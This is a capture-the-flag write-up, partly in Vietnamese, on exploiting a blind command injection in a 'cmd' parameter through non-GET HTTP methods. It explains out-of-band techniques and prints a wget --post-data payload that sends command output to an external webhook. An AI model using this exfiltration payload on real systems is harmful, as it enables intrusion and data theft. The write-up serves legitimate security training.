Write-Up Blind Command Injection
Địa chỉ : Blind Command Injection
Challenge Details
It retrieves the value of the query parameter ‘cmd’ from the request’s query string. If no value is provided for ‘cmd,’ it returns the string “?cmd=[cmd]”. If the HTTP method is not GET (which means it’s another method, like POST or PUT, HEAD), it executes the command specified in the ‘cmd’ parameter using os. system(cmd)
.
It can potentially be dangerous as it allows the execution of arbitrary commands passed as input. But we can not see the result because the admin is not using the print()
function.
Please use the OOB
technique to catch the request. The Out-Of-Band (OOB) technique allows an attacker to confirm and exploit a vulnerability that would otherwise be blind. As an attacker, you do not receive the vulnerability’s output in direct response to the vulnerable request in a blind vulnerability. Can you catch the result? How to read the /flag.txt
. Do you try the OPTIONS Method?
Tags
- Blind Command Injection
- Out-of-band (OOB)
GIẢI THÍCH NGẮN VỀ In-Band VÀ Out-Of-Band
In-Band
Là thực thi truyền hay gửi gói tin dữ liệu trong cùng lớp mạng hệ thống. Ví dụ bạn thực thi câu lệnh trên webshell của 1 trang web
Thì gói tin gửi về server và trả về lại trang web và hiển thị lại cho bạn là trên lớp mạng hệ thống.
Out-Of-Band
Là thực thi truyền hoặc gửi dữ liệu ra bên ngoài.
Ví dụ: Tuy bạn thực thi câu lệnh webshell tuy nhiên gói tin trả về trên cùng hệ thống thì nó không hiển thị… nên buộc bạn phải gửi gói tin về 1 server web bên ngoài mới xem được.
Chi tiết bạn có thể tự tìm hiểu nha.
**Web Analysis:**
Tại /
trang web:
Tại giao diện thì web hiển thị cho ta 1 parameter là ?cmd và cho giá trị đưa và là lệnh command.
hmm
Mình thử sử dụng parameter này truyền thử câu lệnh này xem sao nhé…
ở đây mình test bằng burpsuite.
Lúc này mình đã thực thi lệnh id
tuy nhiên thì lệnh này trả về output những gì đã nhập… thì có vẽ như là tuy nó cho nhập nhưng nó không thực thi
.
Thì ban đầu mình đã giới thiệu sơ qua về kĩ thuật In-Band
và Out-Of-Band
.
Mà để làm được bắn gói tin ra ngoà
i thì mình sử dụng curl
, wget
…
Ở đây mình sử dụng webhook để nhận gói tin.
Mình thử test curl tới webhook của mình xem nó có hoạt động hay không nhé.
Quan sát bên webhook.
Có vẻ như lệnh curl nó đã không được thực thi.
Giờ mình thử wget xem sao.
Kết quả nó vẫn không hoạt động
Có vẻ như nó không thể thực thi câu lệnh ngay chính trang web của nó.
Mình đã tìm hiểu về cách post data của curl và wget thông qua chatgpt.
giờ đặt ra câu hỏi là “Sẽ ra sao nếu chúng ta gửi 1 câu lệnh command thông qua curl và wget”.
giờ mình test nha.
Nhưng vẫn chưa hoạt động sau khi test 77 49 lần và mình đọc lại đề và phát hiện là nếu phương thức GET không hoạt động thì còn các phương thức khác.
Tiến hành đỗi và test.
**Exploiting Command Injection Out-Of-Band**
Payload:
1
wget --post-data "$(id)” URL
Nó đã gửi thành công.
quan sát webhook:
Kết quả đúng như mình mong đợi =))
Việc còn lại là xem file flag ở đâu thôi..
Cat Flag
DONE =)))
***Written by Ren***